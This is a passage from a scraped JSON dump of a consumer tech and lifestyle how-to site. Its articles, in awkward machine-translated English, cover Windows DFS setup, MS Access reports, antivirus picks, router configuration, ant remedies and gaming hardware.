feature-based installation on the next screen.\nClick on Next. Select your server in the next screen and click Next again:\nSelect your server in the next screen Expand File and Storage services and choose DFS Namespaces from the list:\nExpand File and Storage services and choose DFS Namespaces from the list Click Add Features when prompted to install Management tools.\nClick Next on the remaining screens. Then click on Install:\nClick Next on the remaining screens DFS configuration After the DFS Role has been installed, open the DFS Management console and right-click Namespaces and select New Namespace.\nEnter the name of the server that will host the namespace on the next screen:\nEnter the name of the server Click on Next. Choose a name for the namespace in the following screen. This will be the name of the domain shared path. For example: evergeek.com/files.\nChoose a name for the namespace Click Edit Settings to edit sharing permissions. By default, everyone can only read. Click on Next. On the following screen, select Namespace Type:\nChoose Namespace Type Select Domain-based namespace and click Next. Review the settings and then click Create:\nCheck if DFS Namespace is working by entering the network path in Explorer (e.g. evergeek.comfiles )\nDFS Namespace works but nothing is there.\nCreate DFS directory You will add the folders to DFS Namespace now. From the DFS Management console , right-click on the newly created namespace and select New Folder:\nEnter the name of the folder, then click Add:\nEnter the name of the folder, then click Add Enter the path of the shared folder you want to add to the namespace.\nClick on OK.\nGo to the network link again (eg evergeek.comfiles ) and you will see the newly added folder:\nPlease go to the internet link again DFS Namespaces is a great feature in Windows Server to organize sharing over the network. When using DFS Namespaces, it doesn't matter where the shared folders are located, all of which are accessible from a link. This feature also makes it easier to move file servers without breaking access paths.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIydnaxlnpa6pr%2FPmpqeq12eu27DyKebqK%2BjYsCmvtWeqWZqYGaD\n","link":"/post/how-to-set-up-dfs-namespaces-in-windows-server-2016/","section":"post","tags":null,"title":"How to set up DFS Namespaces in Windows Server 2016"},{"body":"TipsMake.com - Reports (reports) is a way to view and analyze a large amount of data. You can use the Report Wizard or create an arbitrary report that you need.\nReport Views\nReports can be displayed in the following four modes: Design View Mode Design View provides you with the structure of the report. You can add, edit or delete report elements. But you cannot manipulate data in multiple tables associated with the report. The Report View Report View allows you to view data from the table but does not change the layout of the report. Layout View This mode allows you to view data from the table and can add, edit, and delete components of the report. Print Preview Print Preview lets you see what the report will look like when printed.\nTo change report view:\n- Click the View button on the Home tab  Create a Report\nTo create a white report:\n- Click the Blank Report button on the Create tab  - Click the Add Existing Fields button\n- From the list of schools, click and drag the fields to the report\n Report Wizard\nTo create a report using the Report Wizard:\n- On the Create tab, click the Report Wizard button  - Choose the Tables / Queries you want to have on the report\n- Select the fields you want to give the report and then press the\u0026gt; button (if you select each field) or press the \u0026gt;\u0026gt; button (if you select all schools).\n- Click Next  - Choose to arrange for the report\n- Click Next  - Select the layout ( Layout ) and the horizontal or vertical orientation ( Orientation ) for the report\n- Then click Next  - Select the type for the report\n- Click Next  - Create a title for the report\n- Choose how you want to open the report ( Preview the report ) or edit the report ( Modify the report's design )\n- Click Finish  Calculation field\nYou can create reports including the calculation field. These reports will display the information you want with an arithmetic operation. To add a calculation field to the report:\n- Open the Report you want to create additional calculation fields\n- Click the View button\n- Click Design View\n- Click the Design tab\n- Click the Text Box button  - Click on the section on the report where you want to locate the textbox\n- Click the Property Sheet button \n  - Click the Data tab\n- Click on the button on the right of Control Source with three dots  - Insert the fields you want to have in the calculation\n- Click OK.  ncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYrmmv9KopWZpY2Kws7HAraCnn12nsrG70a2qZqqVpbyzwA%3D%3D\n","link":"/post/ms-access-lesson-13-creating-reports-report/","section":"post","tags":null,"title":"MS Access - Lesson 13: Creating Reports (report)"},{"body":"Every girl likes to love the image of the princess in splendid dresses, lovely, the images appear in familiar fairy tales or famous cartoons. And the princess image is also the subject of coloring pictures for children, many parents and families look for children to practice coloring, practicing skills or simply forming hobbies for children from a young age. Parents and children also have moments together, have fun with them when instructing their children to paint.\nPrincess coloring pictures are also divided into different groups, simple pictures for preschool children or more detailed pictures, requiring more articulation, more focus on elementary school children or paintings Draw princess according to many different topics. If parents are wondering about the princess drawings for children, please refer to the article below by the Network Administrator.\nGeneral coloring pictures for children 7 important money lessons that every child needs to be taught 10 websites to download free coloring pictures 10 things this father taught daughter would be better than mother We download the collection of princess coloring pages for children with many topics according to the link below.\nDownload princess coloring pages for kids 1. Coloring pages of princess Elsa and Anna The movie `` Frozen '' - Frozen right away has won the hearts of many children around the world, with the model of Princess Elsa and Princess Anna. Therefore, coloring princess pictures for Elsa and Anna is also very rich to choose from.\n   2. Painting of Princess Snow White Snow White fairy tales and the Seven Notes are always a favorite series for many children. And for a long time, the image of Snow White has also become a painting topic for children to color and shape their princess according to their own creativity.\n3. Coloring page of Princess Cinderella The children will be looking back at the Cinderella princess through each different picture, recreating part of the series through every detail such as Cinderella dropping her shoes, Cinderella being helped by fairies.\n   4. Coloring princess Barbie Barbie dolls are the favorite character of many girls, not only kindergarten children, but elementary school children also like Barbie characters. Barbie coloring pages are usually for elementary school children because the pictures are more detailed.\n   5. Coloring pictures of mermaids The mermaid with life in the colorful ocean will help children unleash their coloring according to their imagination. These are aquatic organisms, or algae that grow in the deep sea. Children, let's explore how the ocean lives.\nSome images have lots of details, parents can also sit next to watch the babies draw, guide them to produce the most beautiful princess picture.\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcraGTYr2ztc2cnKyrXZi8rbvRoqWgZaCesLXB0Z6qZp6fp3qjrcGinKw%3D\n","link":"/post/synthetic-princess-coloring-pictures-for-babies/","section":"post","tags":null,"title":"Synthetic princess coloring pictures for babies"},{"body":"The hornets repeatedly 'tossed' poisonous stings at the huge Tarantula spider causing its victim to be paralyzed and knocked down.\nTerrifying spectacle: Giant spider cuts solid meat If you suffer from the world's most poisonous spider, how will your body be destroyed? List of the most dangerous insects in the world Tarantula Hawk wasps are Tarantula spiders attacking spiders. They paralyze the poisonous spider with successive burns. Although the size was many times larger, the spider was still unable to endure it, it was quickly paralyzed by the venom from bee stings. Despite trying, the spider finally collapsed.\n  Hornets pull huge prey to the cave and spawn into spider belly. When the eggs hatch, the larvae will eat the spider meat and live in the spider's abdomen until it is finished, about 35 days. In the insect world, hornets' venom is ranked second in terms of pain, after bullets.\nKaren and Matthew Perry and their two children, Cash and Cadence were lucky enough to record the scene of this huge Tarantula spider attack attack in the desert of Sonora, Arizona, USA.\nncG1vNJzZmismaXArq3KnmWcp51kwaK%2BwKerrqSRqHqxu8ispqdlo6W2pbHRZpqopJyWvbSx0maZnp6fp7JuwMeeZKmnmai8r7XNoGSsoJ%2BpwG67xWaumqugqA%3D%3D\n","link":"/post/tarantula-s-poison-spider-collapses-before-the-poisoning-shots-of-wasps/","section":"post","tags":null,"title":"Tarantula's poison spider 'collapses' before the poisoning shots of wasps"},{"body":"The following article shares with you the top 5 best antivirus software of the world's leading security experts. You can refer to and select the best and most suitable software to protect all devices and systems from viruses, hackers, malware and cyber attacks.\n  Top 5 best antivirus software 2020: TotalAV Antivirus, PC Protect, Norton Security, Avast Antivirus, AVG Internet Security.\n1. TotalAV Antivirus TotalAV is fast, simple and easy to use antivirus software. Get rid of all malware, adware and spyware, great Internet security. Total AV strong firewall protection. Key features of TotalAV:\nProtect your computer from malware, automatically quarantining threats before they harm the system. Adware cleaner : remove annoying adware. Remove spyware that protects your sensitive data and personal information. Strong security technology helps protect the system against all online threats from adware to malicious malware. VPN - a virtual private network for strong Internet security. Locating and deleting junk or duplicate files enhances memory. Antivirus : scan the entire system, locate, quarantine and remove malware, trojans, adware, spyware . Improve browsing performance, improve system performance. Two-way firewalls prevent unauthorized access to your personal data. Ransomware and phishing protection   Download TotalAV at home https://www.totalav.com/download-now\n2. PC Protect PC Protect uses leading malware protection software to protect devices from attacks, internet threats, browsing data theft, completely encrypt browsing data, keep online activity Your is completely private. PC Protect is one of the best antivirus software today. Main features PC Protect:\nRemove malware: detect removal of malware like viruses, adware, spyware. Web protection: secure site detection, block websites and download malware. Remove Spyware. Block phishing websites. Real-time protection. Remove the adware. VPN Internet Security : Helps browse the web anonymously and online security. Password manager: easily manage and keep all your passwords safe in one place. Tune-Up : includes tools that will help speed up and optimize the computer. Remotely manage Windows firewall or built-in advanced firewall tools.   Download PC Protect here: https://www.pcprotect.com/\u0026nbsp;\n3. Norton Security Norton Security is a simple solution, comprehensive protection for all your devices. Norton Security helps protect your computer from all viruses and malware, as well as information security, protecting your computer so you can browse safely. Key features of Norton Security:\nProtection against ransomware, viruses, spyware, malware and other online threats. Secure Web for Facebook: scan your Facebook wall and news feed for links to unsafe websites. Advanced security helps protect your personal and financial information when accessed online. Block spam: keep your inbox free of unwanted, dangerous and fraudulent emails that can steal your identity. Identity Safe : remember, secure and automatically enter your username and password so they are not lost or stolen. Norton Safe Web : warns you about unsafe websites before you access them. Smart 2-way firewall: prevents strangers from accessing your home network by blocking incoming traffic determined to be unsafe. Scan the system: the software has quite fast performance, high scan speed, works smoothly on the system. Auto Backup: allows you to automatically back up 25 GB of photos, movies and files you choose from your computer to Symantec's secure online storage. The backup feature is only available in Norton Security Premium.   You can download the version of Norton Security here https://us.norton.com/downloads\n4. Avast Antivirus  Avast Antivirus is an antivirus software developed by Avast Software, one of the best antivirus software in the world. Avast Antivirus provides users with many features to help protect the computer comprehensively. Key features of Avast Antivirus:\nUse real websites to encrypt your data and protect it from fake websites. Wi-Fi tracker: automatically detects weaknesses in your home wifi and follows strangers online. Smart virus shield: detects and blocks viruses, malware, spyware, ransomware and scams . CyberCapture : automatically sends suspicious files for analysis in the cloud and gives a measure to all Avast users if the file is a threat. Behavioral foil: recognizing and blocking suspicious action patterns to protect the system. Smart Scan: finds all loopholes that allow malware to enter, unsafe settings and passwords, suspicious plugins, outdated software, etc. Sandbox: check suspicious files in a safe environment before allowing files to run on the system. Lock all your accounts with a secure password. Avast will manage other passwords for you so you can log in quickly and securely. In addition, Avast also provides some other features such as: Passive mode, Game mode, Browser Cleanup, Direct support in Avast software, Avast account.   Version of Avast Free Antivirus fewer features, you can download here https://www.avast.com/vi-vn/free-antivirus-download\nDownload the trial version of Avast Pro Antivirus here: https://www.avast.com/en-us/pro-antivirus\n5. AVG Internet Security AVG Internet Security is an well-known antivirus software, widely known and used. Software helps protect your computer from all viruses, malware, email and web protection, privacy protection, online payment protection . you can rest assured using the computer and browse the web safely.\nKey features of AVG Internet Security:\nAdvanced Antivirus: Scans all computers and any drives connected to it in real time to help prevent viruses, spyware, worms, trojans, rookit and other malware. PUA scanner : scans for unwanted applications you may have downloaded unidentified adware and other malicious applications that came with the download). CyberCapture feature : cloud-based technology helps prevent even the latest malware versions. Email Shield : blocks dangerous email attachments. The link scanner helps you avoid malicious websites. Web Shield: scans downloaded files before they access your computer to protect you from hidden malware. Advanced firewall features give you full control of your computer. Ransomware protection provides an additional layer of protection against growing ransomware attacks. Protect your privacy with webcam protection, data security, File Shredder to help you know suspicious applications that access the webcam, encrypt and hide private photos and files, or permanently delete files . Payment protection helps you shop and bank online freely and securely.   You can download AVG Internet Security to try and pay here: https://www.avg.com/en-ww/internet-security\nThus, the article has compiled the top 5 best anti-virus software in 2020 to help protect the system from all the leading threats currently, please choose a suitable software to download and use. use. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqiutOiraKqpah6tLvFra6aqpVif3F%2Bjw%3D%3D\n","link":"/post/top-5-best-antivirus-software-2020/","section":"post","tags":null,"title":"Top 5 best antivirus software 2020"},{"body":"To play a good game, everyone must practice reflexes to dodge 'skill' in a divine and skillful way. Even players like Faker still have to practice reflexes on a regular basis to keep pace and performance. There are many different small and light games that help you practice your reflexes extremely well. In this article, Dexterity Software will introduce to you the best game to practice reflexes.\n  1. Osu!   Osu is not only known as a musical game but they are also known as reflex training and reflex skill using electronic drawing board. With a simple 'like' Audition game, Osu uses the mouse instead of those 4 arrow keys. Your task is to hover and click to the right position and move them in the right shape. In Osu! There are also various songs with tempo from low to high for those who practice from amateur to master. When you are too good with Osu, surely your hover level will reach a new higher Level!\n2. LOL Dodge Game   If anyone watch Faker Livestream, they will surely know the game LOL Dodge Game that this master or practice. This is an online game on the browser so you do not need to download it to play. You will play the cowboy Yasuo and dodge the Skill from the enemy, it sounds simple right? Into the LOL Dodge Game enemies shoot from 8 directions, but there is \"avoiding the sky\". After a long time of development, the manufacturers have updated other modes such as: Training skill orientation, flying kites (hit and run), freezing soldiers (farm) for players to practice more. For those who like the game League of Legends and want to improve their skills, LOL Dodge Game will be the first choice to practice.\nHomepage: https://loldodgegame.com/\n3. Aim400KG   Those who like shooting games definitely can not ignore Aim400KG training tools. Aim400KG will help you better reflect the gun center and mouse action faster, stronger and decisively. The exercises on Aim400KG are very simple, they only revolve around circles of different sizes and your task is to click on that circle in the fastest speed possible. When practicing Aim400KG proficiently, certainly 'headshot' of the enemy will be a lot easier when you play a shooting game.\nHomepage: https://aim400kg.com/\n4. Getting Over It   Getting Over It is known as the most inhibiting game in the world because their gameplay mechanics are too 'difficult'. Your job is to control the paralyzed man holding the cane to overcome obstacles along the way. However, to control this man, the game will require you to have skillful and flexible hands to capture the right point. If you do not control the mouse smoothly, maybe you will forever at the finish line only.\nHomepage: https://store.steampowered.com/app/240720/Getting_Over_It_with_Bennett_Foddy/\n5. The World Hardest Game   The World Hardest Game will help you practice your reflexes about evading and moving as reasonably as possible. The task is also very simple, you just need to bring the red dot to the destination and overcome all obstacles along the way. However, obstacles are more and more complex and billion times if you do not pay attention, playing from the beginning is obvious.\nHomepage: https://www.coolmathgames.com/0-worlds-hardest-game\n6. Human BenchMark   Human BenchMark is not a tool to practice reflexes but this is a tool to help you see how reflective you are. Try testing on Human BenchMark to see where your reflexes are to come up with a reasonable training method.\nHomepage: https://www.humanbenchmark.com/\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKCYpp1dqbxuvNGamq2hk5p6s7HFpZyxnaNiw6a%2B2GaunqSc\n","link":"/post/top-game-to-practice-reflexes-very-well/","section":"post","tags":null,"title":"Top game to practice reflexes very well"},{"body":"This article TipsMake.com will show you how to draw a unicorn image in Adobe Illustrator using basic manipulations, techniques and shapes. You will find that creating cute, soft images doesn't need to use complex tools and extraordinary knowledge about Adobe Illustrator.\nLet's follow it!\n1. How to draw unicorns Step 1:\nOpen Adobe Illustrator and create a new file of size 850px by 850px.\nWe will start by creating the unicorn's head, neck and body. Draw an ellipse with the Ellipse Tool (L) and create a rectangle using the Rectangle Tool (M) as shown in the image below. Next create a slightly larger ellipse, place it at the bottom, overlap the rectangle.\n  Step 2:\nSelect the rectangle and click Effect\u0026gt; Warp\u0026gt; Arc . In the new window, adjust the options like the image below. Align to no anchor point of the new shape outside the ellipse is the beginning of the unicorn.\n  Step 3:\nChange the ellipse below by going to Effect\u0026gt; Warp\u0026gt; Flag and adjusting the options like the image below.\n  Step 4:\nNow, expand the edited shapes to break its properties. Select each image you just modified and go to Object\u0026gt; Expand Appearance. Then select all three images, select Window\u0026gt; Pathfinder to merge them into one image.\nTo complete the shape, use the Anchor Point Converter ( Shift-C ) and edit the anchor point until you get the result you want. If you want to delete some anchor points, use the Delete Anchor Point Tool (-).\nNote: Follow the Stroke panel , select the Round Cap option in the Cap, Round Join section in the Corner section and make sure that these buttons are always enabled.\n  Step 5:\nIn this step we will draw smaller details for the unicorn. Draw a thin horizontal ellipse and use the Anchor Point Converter (Shift-C) to make a sharp ellipse at both ends.\nNext, use the Flag effect to make this shape. Go to Effect\u0026gt; Warp\u0026gt; Flag and apply options like the image below. Don't forget to expand the shape you just edited to break the properties of the object, go to Object\u0026gt; Expand Appearance .\n  Step 6:\nMake a few copies of this shape and place them along the left side of the unicorn you drew above, this will be the mane. If the images do not fill in the space between the images, just add an ellipse similar to the red ellipse inserted in the image below.\nWhen you are satisfied with the length and shape of the mane, select all the shapes you created and merge them by clicking the Unite button on the Pathfinder panel (Window\u0026gt; Pathfinder).\n  Step 7:\nUse the same technique as above and give a unicorn a tail.\n  Step 8:\nThis step we draw to the feet. Create a vertical ellipse, go to Effect\u0026gt; Warp\u0026gt; Flag and use the options below. Expand this image (Object\u0026gt; Expand Appearance).\nDraw more hooves, add two small overlapping ellipses as shown in the image below (red ellipse). Select both of these small ellipses and merge them: press the Unite button on the Pathfinder panel (Window\u0026gt; Pathfinder).\nNow copy an extra long ellipse to make the foot drawn above (Control-C, Control-F) and then select this image and hold Shift to select the nail shape, combine the two shapes by clicking Intersect on the Pathfinder panel. So you've got a pretty little nail, attached it to the original long ellipse, so you're done with one leg.\n  Step 9:\nAttach your feet to the unicorn and create three more copies. Note that the foot in front is slightly higher for beauty.\n  Step 10:\nDraw one more ear for the unicorn. Use the Ellipse Tool (L) to draw an ellipse. Then use the Direct Selection Tool (A), select the right and left anchor points and slide them down. Copy the created image, shrink it and place it inside the larger image.\n  Put your ears on the top of the unicorn.\n  Step 11:\nAdding a horn is really a legendary unicorn. Apply the same method as you did with the ear. Create a vertical ellipse, then move the right and left anchor points all the way down using the Direct Selection Tool (A).\n  Put the horn on the top of the unicorn.\n  Step 12:\nAdd a pair of romantic eyes, dreamily into the cute smiley face, start with an ellipse, then grab the Scissors Tool (C) click on the left and right of the ellipse to delete the upper part of Ellipse.\n  Step 13:\nPut an eye ring on the unicorn position and add some eyelashes with the Segment Tool ().\nMake a copy of the arc (eyes closed without eyelashes) to make the mouth of the unicorn. Add two small circles like nostrils.\nWhile drawing the ellipse, remember to hold down the Shift key to get a nice, even circle. Place another copy of the arc on the horn to make the horn look as if it is inside the mane.\n  Step 14:\nAlmost done! Now, make our image look more natural.\nBut first, ungroup all the pictures: select all (Control-A) and go to Object\u0026gt; Ungroup. Repeat a few times until the Ungroup command is no longer active.\nNow, cut out some unnecessary parts using the Scissors Tool (C). Check the unicorn carefully and decide what parts to remove. As shown in the following figure, I will cut the pink lines.\n  And done !!! Our work is here:\n  2. Create rainbows and clouds Draw more rainbows and clouds to make our images more vivid.\nStep 1:\nThere will definitely be a rainbow - the place where unicorns live and always appear.\nFirst, draw a large circle, use the Ellipse Tool (L) and remember to hold down the Shift key so that the drawing is a circle. Create five copies of this circle with decreasing radius. Go to Effect\u0026gt; Distort \u0026amp; Transform\u0026gt; Transform and enter the options as shown below with all copies. Expand these circles: Object\u0026gt; Expand Appearance.\n  Step 2:\nNow we will learn how to draw a cloud. Just draw a circle using the Ellipse tool (L) and remember to hold down Shift. Create multiple copies for this circle (Control-C and Control-V a few times) and resize some images. Distribute these circles so they intersect in the cloud shape.\nFinally, select all circles and merge them using the Unite button on the Pathfinder panel (Window\u0026gt; Pathfinder). Our cloud is ready.\n  Create a copy of this cloud and place them on both sides of the unicorn.\n  Step 3:\nIn this step, we will cut the rainbow lines delivered with the image of unicorns and clouds. Before cutting the rainbow lines, ungroup them by going to Object\u0026gt; Ungroup. Repeat a few times until the Ungroup command is no longer active.\nNow, select the Scissors Tool (C) and click on the rainbow paths intersecting with unicorns and clouds, erase unnecessary parts to the rainbow image that appears behind the unicorn and the cloud.\n  3. Fill in the image you just created Step 1:\nSelect all objects in the image (Control-A) , click Object\u0026gt; Expand , in the pop-up window choose Stroke\u0026gt; OK . To color the object, create a rectangle (Rectangle Tool (M)) , fill any color in this image.\nThis rectangle must cover the entire image and be placed behind (Control-X, Control-B) . Press Control-A , select Trim on the Pathfinder panel. Then ungroup the whole image or the image will be grouped and the rectangular frame will disappear.\n  The resulting image will look like this:\n  Step 2:\nYou can now change the colors of different parts of the image to your liking.\n  Step 3:\nIf you want, you can add a few stars around the image. To create stars, use Star Tool , remember to hold Control key on the keyboard while drawing.\n  Step 4:\nAdd a size square 850px by 850px behind to make the background.\n  Done! The work is complete!\nIt can be seen that by using simple techniques and transformations you can create a funny image that looks as if you have used more complex tools.\nTry it, not too hard. Comment your results to share with TipsMake.com. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbbAzqugmqRdmb%2Biw8innmatnp6wsL7NZqCnZZGZvKOxjKKjpa2jqb%2BiwM6r\n","link":"/post/tutorial-drawing-unicorn-in-adobe-illustrator/","section":"post","tags":null,"title":"Tutorial drawing ... 'unicorn' in Adobe Illustrator"},{"body":"But did you know that those who have been using Totolink N350RT Wifi Router feel very impressed. And their comments will be shared in the following article.\nIntroduction to Totolink N350RT Wifi Router\nWhen installing the network, surely everyone will be equipped with additional Wifi Router but after a while, the stability level will not meet. At this point, you can try to use Wifi Router Totolink N350RT. Here are some outstanding information about this product for your reference.\nIntroducing the Totolink brand \nReferring to Totolink, some of you are not new to this brand. This is the son of Zioncom Technology Co., Ltd. This company was established in 1999 in Hong Kong. After that, the company invested and built the first network manufacturer in Vietnam.\nMost of the brand's products are equipped with special features, relatively high performance and quite cheap price. Therefore, when choosing network equipment, most customers usually prefer products of this brand. Of course, Wifi Router is no exception.\nIntroduce a few strokes of the shape and characteristics of the product\nAppearance of the product\nBasically, the Wifi Router Totolink N350RT has a compact design with a bright elegant tone. Therefore, you can easily place them in indoor locations. If you look closely, you'll see a reset button in front of the Wifi Router. This is quite a smart design, allowing users to easily use instead of placing buttons on the back like other devices.\nAt the back, there's a system of ports and a power jack so you can connect with other devices. On the device there is a system of glowing LEDs to help users to observe and capture the operation of the device. The detail appreciated by users in this device is that there are 2 main antennas that help increase connectivity.\nSome salient features of the product\nIn addition to the design, the features of the product also receive positive feedback. Like other devices, Totolink N350RT Wifi Router has met quite well the needs of users' Web surfing, even stronger than some other devices.\nIt is worth mentioning that this is to create a separate Wifi network. This has brought quite impressive values. Not only do they not only protect users' network access information, but they also increase the performance when sharing a wireless network connection!\nBesides, if you need to use Internet and TV combo, Totolink N350RT Wifi Router will respond quite well thanks to VLAN IPTV support. Compared to other brands' products in this price segment, this is a truly outstanding advantage.\nOne problem that mothers often worry about when they let their children use the free network is that it is affected by bad websites. However, don't worry yet that the Wifi Router Totolink N350RT has the parental control function. Accordingly, you can monitor and prevent your children from accessing unhealthy information.\nIn addition to the above prominent features, the device is also installed and controlled via the app on the phone quite easily. However, because the management work through Cloud is somewhat dependent on the Server, I am not really satisfied.\nOverall evaluation of the product\nWith the above information, it can be seen that Totolink N350RT Wifi Router is a pretty good wireless device and meets the needs of the product.\n Suitable object to use\nThanks to the outstanding features and the ability to share wireless connections quickly, the product is suitable for most people. Especially office environment, office. Here, your customers will be able to access the network quickly without any hassle.\nSome benefits when using Totolink Wifi Router Totolink Wifi Router gives you a lot of benefits when using, they not only connect wifi to the phone but also wired network connection for laptops, TVs . Besides, with special features, equipment will also help you control the child in the best way.\nSo should you buy N350RT or not?\n So should I buy N350RT or not? With the above information, indeed, this is the product that you should use. The device features are quite good and complete so it can best meet your usage needs. Moreover, the product also has a reasonable price that anyone can own. See detailed review here from vietreview.vn.\nThe Totolink N350RT Wifi Router is a device with many features and effectively supports for your entertainment and work needs. Come to the address of prestige and quality to own this device offline!\nncG1vNJzZmismaXArq3KnmWcp51kxKqyyGapqK2kmr9uwM6tpqWhnqB6r3%2BUaamtZaKauaqtwaWcZq%2BZm7Zuvs6uq56qXZu8s3nYqKw%3D\n","link":"/post/wifi-router-totolink-n350rt-reliable-wifi-router-for-you/","section":"post","tags":null,"title":"Wifi Router Totolink N350RT - Reliable Wifi Router for you"},{"body":"The erratic weather makes ants thrive in your home. You have to witness the colony of ants crawling long lines on the wall, in the corner or around food scattered by the children in the house, . making you extremely uncomfortable. Are you looking to find the most effective way to catch ants? Here are the 15 most effective ants to share with you.\n  1. Repelling ants with salt   Mix salt into boiled water and spray it on the ants' frequent places. Sprinkle salt along the ant path and doorways so ants can't find your way into your home.\n2. Repelling ants with lemon   If you only think lemons are effective in eating, that's a mistake. Lemon juice is very good at killing ants. You can squeeze lemon directly or spray diluted lemon juice onto the door sill, window pan or around the ant nest. Cut the peels into places where you want to prevent ants from coming in and out. In addition, lemon also works against cockroaches, fleas. You can squeeze 4 lemons mixed with water to clean the floor.\n3. Chase ants with oranges   Similar to lemon, oranges also kill ants very well. Pour a few pieces of orange peel and warm water into the puree to pour on where ants appear. The smell of orange oil clears the smell of ants, making them unable to recognize the path to the nest. You can also place orange peels around the dining table, cabinets, ants will not dare to go there anymore.\n4. Repelling ants with pepper or turmeric   When the ants are raging in your kitchen, sprinkle some pepper or turmeric powder on the way for the ants to find food. This will fool them that there is no sugar in the front and the unpleasant smell of pepper and turmeric will keep them away because they cannot stand it. If you find an ant colony, put some pepper on it.\n5. Repelling ants with white vinegar   You may not know, ants hate vinegar, white vinegar can cause burns for ants. Just mix the water with vinegar in a 1: 1 ratio and spray it around the nest of ants, where ants or cows will make them leave. To prevent ants from coming into your home, you should also spray in front of the house, window sill.\n6. Repelling ants with coffee grounds   Sprinkle coffee grounds on the ants or black ants or they appear a lot. When ants eat, coffee grounds will expand to fill up the stomach and destroy them. In addition, to kill ants, you can pour hot coffee directly into the nest.\n7. Repelling ants with baby powder   To prevent ants from coming into your home, make use of chalk to sprinkle them around the walls of your home, doors, or any other location with ants. Powder will help clean the air and dehumidify your home leaving ants no place to live.\n8. Repelling ants with chalk   White chalk will help you chase fire ants effectively because the powder contains CaCO3. You can use chalk to spread on areas where ants appear or directly use chalk to draw a circle around the object you want to protect. In addition, CaCO3 also appears in the eggshell, you can replace it by cleaning the eggshell and grinding it into a powder.\n9. Repelling ants with flour   Take advantage of the flour in your kitchen by sprinkling it wherever you see ants and around where the food is. Ants will not cross the road you have created.\n10. Chase ants with double-sided tape   These sweets are easy to attract ants. Put double-sided tape around objects that need protection. When ants are near, double-sided tape will make them stick on the spot.\n11. Repelling ants with cinnamon   Use a few drops of cinnamon essential oil mixed with water to spray to avoid the ants in the house and use cinnamon powder to spread around the nest. Ants will stay away from your house.\n12. Repelling ants with mint   Mix peppermint essential oil with water in a ratio of 1: 1 and place it in a spray bottle. Spray on areas with ants passing through and their nests. The smell of peppermint not only catches ants but also helps to repel cockroaches and make your home more fragrant.\n13. Repel ants using plastic containers   Cupboard or dining table of your family or being attacked by ants, you can put at the foot of the table plastic containers, aluminum trays filled with water. Ants will not be able to crawl on tables or shelves anymore.\n14. Repel ants with baking soda powder and sugar   Using baking soda is not harmful or affect human health. Mixing baking soda and sugar will attract ants, causing them to eat. Ants are always protected by antacids, and baking soda will cause them to swell and die. To prevent ants from infiltrating, sprinkle baking soda on all gaps in the house.\n15. Repelling ants with borax, water and sugar   With borax, water and sugar, we can make ant glue. Then spread them on a sheet of paper, cardboard or a small lid and place near ants or walkways. The mixture will dry out after a few days so you don't need to worry. But this way you have to do it regularly for a few days, the ants will disappear completely from your house.\nIn addition, to prevent ants from appearing in your house you should do the following:\nFood should be wrapped by food wrap or packaged carefully. Store food in the refrigerator to avoid mosquito flies and attract ants. Regularly clean your house, eating areas, avoid the scattered food scraps to attract ants. Food leftovers in a basket are ideal places for ants to live, so take out the garbage regularly. Ants or dwelling in the cracks in the house to grow and nest, fill in the cracks in your home. Above are 15 ways to effectively catch ants, safely and extremely simply. Wish you successful ants without the need for chemicals.\nncG1vNJzZmismaXArq3KnmWcp51kfnZ51pqwrGWkpHqmssWemq2hppq5unnKoqOlZZGjwbQ%3D\n","link":"/post/15-ways-to-effectively-kill-ants/","section":"post","tags":null,"title":"15 ways to effectively kill ants"},{"body":"If you unfortunately feel that the Wi-Fi connection in your home has recently been significantly slowed down, even if the charge is increased for unknown reasons, it is possible that your home Wi-Fi network has been \"stolen\". The only solution is to quickly change your Wifi password. In the article below, we will guide you to change Linksys wifi password. Please consult.\nStep 1:\nVisit the Linksys router administration page (default is 192.168.1.1 ) and log in with User , Password as admin\n  Step 2:\nHere, click Wireless \u0026gt; Wireless Security . Then, choose WEP or WPA security mode and enter the new password and then click Save Settings to save.\n  Instructions for installing Wifi Router Tenda W311R Instructions for configuring Bullet M2HP Wifi router Instructions for fixing Wifi errors with yellow exclamation I wish you a happy new day!\n\nncG1vNJzZmismaXArq3KnmWcp51kf26%2F056nrGWkpHqktMCnnp5lnJ67rL%2FYrGSwoZaeerGt0qyuqKqU\n","link":"/post/2-steps-to-change-linksys-wifi-password/","section":"post","tags":null,"title":"2 steps to change Linksys wifi password"},{"body":"Asus has just officially introduced the next generation of its most advanced STRIX SCAR gaming laptop called Strix SCAR 17, which comes with new hardware and software that promises to Pleasing even the most demanding gamers.\nIn addition to CPU processing performance, GPU power is also a top priority on Strix SCAR 17. To achieve this goal, Asus has equipped its product with one of the strongest hardware configurations. The world's most powerful laptop today, including:\nGeForce RTXTM 2080 SUPER GPU, clocked up to 1560 MHz at 150W with ROG Boost for '3-digit' frame rates 8-core, 16-thread Intel® CoreTM i9-10980-HK CPU 32GB RAM high performance DDR4-3200, support efficient multitasking RAID 0 with two NVMe® SSDs speeds up loading time; A blank third slot for scalability when needed 17.3-inch 300Hz / 3 ms monitor with ultra-thin bezels for an 81.5% screen-to-body ratio The upgraded cooling system, combined with the 3D thermal design, minimizes overheating, resulting in reduced performance It can be seen that Strix SCAR 17 has all the characteristics of a high-end gaming laptop: Highly designed gamers with RGB led strips, large screens, and CPU and GPU are the most advanced today.\nIn terms of additional equipment, Strix SCAR 17 possesses some interesting customizations in terms of design. Equipped with an illuminated RGB strip below the front and side edges, the ROG logo has a backlight. For those who aren't happy with this style, customize it to your liking in ROG Aura Creator.\n  The following is a complete list of specifications and features of Strix SCAR 17 (the most advanced version):\nProcessor: Intel® CoreTM i9-10980HK Operating system: Windows 10 Pro Graphics: NVIDIA® GeForce RTXTM 2080 SUPER Screen: 17.3 ″ FHD (1920 x 1080), IPS FHD 300Hz (3ms) Memory \u0026amp; storage: Up to 32GB DDR4 3200 MHz SDRAM / 2 x M.2 NVMe® PCIe® 3.0 x4; 1TB SSD with RAID 0, support up to 2 SSD slots Wireless connection: 2 × 2 Intel® WiFi 6 (Gig +) (802.11ax) Support RangeBoost / Bluetooth® 5.12 Ports: 3 x USB 3.2 Gen 1 Type-A; 1 x HDMI (supports HDMI 2.0b), supports HDCP SPEC 2.2; 1 X USB 3.2 Gen 2 Type-CTM (supports DisplayPort, does not support PD 